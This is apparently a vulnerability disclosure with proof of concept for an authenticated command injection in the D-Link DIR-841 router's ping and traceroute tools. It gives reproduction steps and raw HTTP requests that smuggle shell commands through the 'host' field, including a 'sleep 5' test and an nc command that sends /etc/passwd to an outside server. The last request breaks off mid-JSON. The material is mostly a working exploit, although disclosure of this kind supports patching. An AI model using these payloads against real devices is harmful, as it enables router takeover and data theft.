```
==========================================================================================================================
# Product: D-LINK DIR-841 Authenticated Command Injection
# Product web page: https://in.dlink.com/en/products/dir-841-ac1200-mu-mimo-wi-fi-gigabit-router-with-fast-ethernet-lan-ports
# Affected product version:  DLINK DIR-841 (Firmware version: 3.0.3 /  Fixed on :3.0.4)
#
#
# Vendor description:
# -------------------
# "The wireless router DIR-841 includes a built-in firewall. The advanced security functions minimize threats of
# hacker attacks, prevent unwanted intrusions to your # network, and block access to unwanted websites for users of
# your LAN. In addition, the router supports IPsec and allows to create secure VPN tunnels. Built-in # Yandex.
# DNS service protects against malicious and fraudulent web sites and helps to block access to adult content on
# children's devices."
#
#
#
# Vulnerability overview:
# ----------------------
#
#  DLINK DIR-841 suffers from an authenticated command injection, the vulnerability can be exploit through
#  the "system tools" (ping/ping6/traceroute), this allows for full control over the device internals.
#
==========================================================================================================================


D-LINK DIR-841 Authenticated Command Injection
---------------------------------------------

The vulnerability impacts the DLINK DIR-841 router, tested on firmware 3.0.3 and 3.0.4, it was possible to inject arbitrary
commands when using tools available on the web interface such as: ping and traceroute.


Steps to reproduce the vulnerability:

1- Login in DLINK DIR-841 Web Interface as admin.
2- Choose the "System" option.
3- Using the ping or traceroute tool, enter the IP in the interface of the chosen tool, and then immediately
   capture the request using your favorite proxy tool.
4- Right after that we can manipulate the host parameter, and insert payloads like:
   "'127.0.0.1 & sleep 5'" or "127.0.0.1 & nc target port '".
   The sleep command or the nc will be executed within the ping / traceroute tool.


Proof-of-concept:
-------------

POST /jsonrpc HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Digest username="admin", realm="domain", nonce="4784226", uri="/jsonrpc", response="84799b55020cf2c53e28214e3d60b899", qop=auth, nc=00000035, cnonce="bPzBB3mcvSb51Ij
Content-Length: 156
Origin: IP
Connection: close
Referer: http://ip-address:9821/admin/index.html
Cookie: user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=<session>

{"jsonrpc":"2.0","method":"write","params":{"id":166,"data":{"host":"'127.0.0.1 & sleep 5'","count":1,"is_ipv6":false,"max_ttl":30,"nqueries":2,"waittime":3},"save":true},"id":757}

Exfiltrating files
------------------

POST /jsonrpc HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Digest username="admin", realm="domain", nonce="4784226", uri="/jsonrpc", response="84799b55020cf2c53e28214e3d60b899", qop=auth, nc=00000035, cnonce="bPzBB3mcvSb51Ij
Content-Length: 156
Origin: IP
Connection: close
Referer: http://ip-address:9821/admin/index.html
Cookie: user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=<session>
```

```

{"jsonrpc":"2.0","method":"write","params":{"id":166,"data":{"host":"'127.0.0.1 & nc SERVER-IP 1234 < /etc/passwd'","count":1,"is_ipv6":false,"max_ttl":30,"nqueries":2,"waittime":3


```